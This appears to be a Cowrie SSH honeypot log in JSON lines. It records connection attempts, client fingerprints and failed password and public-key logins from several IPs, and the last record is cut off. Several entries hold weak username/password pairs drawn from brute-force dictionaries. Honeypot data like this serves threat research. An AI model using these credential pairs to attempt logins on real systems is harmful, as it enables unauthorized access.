{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:35:13.908762Z","src_ip":"103.15.226.202","session":"87911ad74908","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:35:13.917960Z","src_ip":"103.15.226.202","session":"87911ad74908","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":50642,"dst_ip":"10.17.0.5","dst_port":22,"session":"dda8432ddde1","protocol":"ssh","message":"New connection: 202.145.0.61:50642 (10.17.0.5:22) [session: dda8432ddde1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:35:41.843468Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:35:41.848363Z","src_ip":"202.145.0.61","session":"dda8432ddde1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:35:42.080084Z","src_ip":"202.145.0.61","session":"dda8432ddde1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpn","password":"passw0rd","message":"login attempt [vpn/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:35:43.037234Z","src_ip":"202.145.0.61","session":"dda8432ddde1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:35:44.272099Z","src_ip":"202.145.0.61","session":"dda8432ddde1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.84.236.222","src_port":40442,"dst_ip":"10.17.0.5","dst_port":22,"session":"bbaec711efd0","protocol":"ssh","message":"New connection: 103.84.236.222:40442 (10.17.0.5:22) [session: bbaec711efd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:35:57.192802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:35:57.209513Z","src_ip":"103.84.236.222","session":"bbaec711efd0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:35:57.449890Z","src_ip":"103.84.236.222","session":"bbaec711efd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"@1qaz2wsx","message":"login attempt [root/@1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:35:58.411088Z","src_ip":"103.84.236.222","session":"bbaec711efd0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:35:59.646354Z","src_ip":"103.84.236.222","session":"bbaec711efd0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":38842,"dst_ip":"10.17.0.5","dst_port":22,"session":"dac5365be153","protocol":"ssh","message":"New connection: 202.145.0.61:38842 (10.17.0.5:22) [session: dac5365be153]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:36:34.452420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:36:34.457580Z","src_ip":"202.145.0.61","session":"dac5365be153","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:36:34.691553Z","src_ip":"202.145.0.61","session":"dac5365be153","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"1q2w3e","message":"login attempt [ftpuser/1q2w3e] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:36:35.656694Z","src_ip":"202.145.0.61","session":"dac5365be153","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:36:36.893884Z","src_ip":"202.145.0.61","session":"dac5365be153","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"1.2.252.192","src_port":52534,"dst_ip":"159.203.135.109","dst_port":22,"session":"5df505ac5863","protocol":"ssh","message":"New connection: 1.2.252.192:52534 (159.203.135.109:22) [session: 5df505ac5863]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:36:38.731929Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:36:40.887349Z","src_ip":"1.2.252.192","session":"5df505ac5863","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"1.2.252.192","src_port":55468,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa3bbc54d2a6","protocol":"ssh","message":"New connection: 1.2.252.192:55468 (159.203.135.109:22) [session: aa3bbc54d2a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:36:41.250780Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.7.4","message":"Remote SSH version: SSH-2.0-libssh_0.7.4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:36:41.515560Z","src_ip":"1.2.252.192","session":"aa3bbc54d2a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e37f354a101aff5871ba233aa82b84ec","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e37f354a101aff5871ba233aa82b84ec","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:36:41.838728Z","src_ip":"1.2.252.192","session":"aa3bbc54d2a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:36:43.279255Z","src_ip":"1.2.252.192","session":"aa3bbc54d2a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.84.236.222","src_port":56940,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d4795a76fd5","protocol":"ssh","message":"New connection: 103.84.236.222:56940 (10.17.0.5:22) [session: 8d4795a76fd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:37:00.977665Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:37:00.982148Z","src_ip":"103.84.236.222","session":"8d4795a76fd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:37:01.211073Z","src_ip":"103.84.236.222","session":"8d4795a76fd5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"qwe123","message":"login attempt [dev/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:37:02.160243Z","src_ip":"103.84.236.222","session":"8d4795a76fd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:37:03.392775Z","src_ip":"103.84.236.222","session":"8d4795a76fd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.38.96.216","src_port":45500,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ffe654ff889","protocol":"ssh","message":"New connection: 89.38.96.216:45500 (10.17.0.5:22) [session: 1ffe654ff889]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:37:23.533014Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:37:23.537595Z","src_ip":"89.38.96.216","session":"1ffe654ff889","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:37:23.627231Z","src_ip":"89.38.96.216","session":"1ffe654ff889","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"da:d4:8e:d9:77:b7:56:a2:d1:47:f0:54:f5:c7:86:1d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCKK/P7ekEP1+3btK8YnGmGJz7VMe8/UytbbJHXrnopkRrjeHj0SpCixifYaYYtcuAgoQl1EMOP/Dd1UL3KbYj3pbu6l3Kg+KPwDHkcgby6oUerFBwTccKJD/zd7qB4L3r/GDvuVTaxxZnpJ3iFIA1Fg5XdtoVSmjINLufl2ukG252lRMJN8okMsLh/8ZEqRFsKRWqRgenSvhi83D4nbPMOyqmpmOiP1A0OCfAhju3siY+B8OhaBq8hHYIu/q8aVSOYdfQsE/rGpgE+vJX+foP7t8OhQvQudlxS5OW/qLS1N2ibik/m3vWpYOOlJnSGaAhEbmpUj7Wd43BL8ghSwIlN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint da:d4:8e:d9:77:b7:56:a2:d1:47:f0:54:f5:c7:86:1d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:37:24.043294Z","src_ip":"89.38.96.216","session":"1ffe654ff889","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"da:d4:8e:d9:77:b7:56:a2:d1:47:f0:54:f5:c7:86:1d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCKK/P7ekEP1+3btK8YnGmGJz7VMe8/UytbbJHXrnopkRrjeHj0SpCixifYaYYtcuAgoQl1EMOP/Dd1UL3KbYj3pbu6l3Kg+KPwDHkcgby6oUerFBwTccKJD/zd7qB4L3r/GDvuVTaxxZnpJ3iFIA1Fg5XdtoVSmjINLufl2ukG252lRMJN8okMsLh/8ZEqRFsKRWqRgenSvhi83D4nbPMOyqmpmOiP1A0OCfAhju3siY+B8OhaBq8hHYIu/q8aVSOYdfQsE/rGpgE+vJX+foP7t8OhQvQudlxS5OW/qLS1N2ibik/m3vWpYOOlJnSGaAhEbmpUj7Wd43BL8ghSwIlN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:37:24.048384Z","src_ip":"89.38.96.216","session":"1ffe654ff889","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ec:0a:09:8b:4f:82:a3:72:d2:05:ee:e7:03:e8:6c:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwtoDoA/iioQDiHkIaB9eovgudE3V+02hEH7sUy7QUBdrp2/k4G13kjtRudEODWsk1LUFdRdOzTpOhZgM2b+mQwPjf4vIvxAdTLADmaBLEa3P1gB6SAlRzuC/VUBXCqQPp9xKF6GL3YN9wjNpI60aoLTTW4fFUwi8Gts0IkI2THcH+mZFVNj0VN3CqcfuesFrpzshQZmOE6/y9nmnU6d/FcykVOGl6DDX8M51DmKMd2TlkGbk5NjSEAoW2awlUwWYUGnuYv5FUkPrbxN/F2pr6nwE2IlU3NGc4nwG+gIvHFki5COqn6TqIsaSOJuRKw+/H3PTxtKrRRZuAXuMdpjUt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ec:0a:09:8b:4f:82:a3:72:d2:05:ee:e7:03:e8:6c:57","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:37:24.139293Z","src_ip":"89.38.96.216","session":"1ffe654ff889","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ec:0a:09:8b:4f:82:a3:72:d2:05:ee:e7:03:e8:6c:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwtoDoA/iioQDiHkIaB9eovgudE3V+02hEH7sUy7QUBdrp2/k4G13kjtRudEODWsk1LUFdRdOzTpOhZgM2b+mQwPjf4vIvxAdTLADmaBLEa3P1gB6SAlRzuC/VUBXCqQPp9xKF6GL3YN9wjNpI60aoLTTW4fFUwi8Gts0IkI2THcH+mZFVNj0VN3CqcfuesFrpzshQZmOE6/y9nmnU6d/FcykVOGl6DDX8M51DmKMd2TlkGbk5NjSEAoW2awlUwWYUGnuYv5FUkPrbxN/F2pr6nwE2IlU3NGc4nwG+gIvHFki5COqn6TqIsaSOJuRKw+/H3PTxtKrRRZuAXuMdpjUt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:37:24.143227Z","src_ip":"89.38.96.216","session":"1ffe654ff889","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"89:32:2f:f1:2f:9a:6e:65:69:4e:10:50:99:e4:ca:7e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCyzX41ljtmW6VVnoKiesrP2S8P3PP3J9xO8ptMASYs7ZpecsexOTKxDAIPxLx1tsObb3PApygnX4cP6PL0Ro6S/DPS0i0zZFU4Da77VYv8YRtnAZAF6RVgyapfnh6qgu+EGeU0XQObXQiPIFx/UM59OWVm2xb+l5HjvzbzzkYHHv7fuLaMrHSiGkWJ4VL81OiLgUbFgdGlt5OfdFDqqqQqIpI6MvVPPKkZQ/bzZpuAioWu736pBt+4UA9hhG4MNIhxAi46YenBNrmJ0iQ2JELHGjTwZwzFws/g+MzW+3CneC8wLdLY6fUv+vOd/PfyNGZu5NDOVLNciN8kV8it43ZRFyLX8JY6mYWD8544AF7j1LL/1la4xpxQGuFC/8EkgoO3dh52JISJuK2pxxiyARZuhTW4hKnnfdQHWfsP4VcuucsFvJe0Lfgi2+zoLu9CgTh0CAlQX6t+88T5LhmVMBlghushYeewvYx5XHqSAHY7S9nkuo5EoOOzbkkFkX86FCEsR5Xa5WI+4tbg+ay04Uz0EbZO4GimkRt6R9my8TqyHcWR0qcPSCm43FTEFPciWTQGAfuZot2142tkjdrBl0AzciiSeyd9ibMmS4nzOCi+xcBrWtiknjd/Hsli2kv9EtKdRZFvFEVDu/aAVfjf48JVy0X2EmlO7BDlQdN5JkcwOQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 89:32:2f:f1:2f:9a:6e:65:69:4e:10:50:99:e4:ca:7e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:37:24.232611Z","src_ip":"89.38.96.216","session":"1ffe654ff889","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"89:32:2f:f1:2f:9a:6e:65:69:4e:10:50:99:e4:ca:7e","key":"ssh-rsa 